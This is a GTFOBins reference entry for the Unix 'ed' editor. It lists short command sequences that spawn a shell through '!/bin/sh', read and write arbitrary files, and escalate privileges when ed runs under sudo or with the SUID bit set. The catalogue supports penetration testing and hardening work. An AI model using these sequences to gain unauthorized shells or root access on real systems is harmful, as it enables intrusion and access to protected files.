GTFOBins.github.io/_gtfobins/ed.md
2018-08-20 15:00:34 +02:00

29 lines
385 B
Markdown

---
functions:
execute-interactive:
- code: |
ed
!/bin/sh
file-write:
- code: |
ed file_to_write
a
DATA
.
w
q
file-read:
- code: |
ed file_to_read
,p
q
sudo-enabled:
- code: |
sudo ed
!/bin/sh
suid-limited:
- code: |
./ed
!/bin/sh
---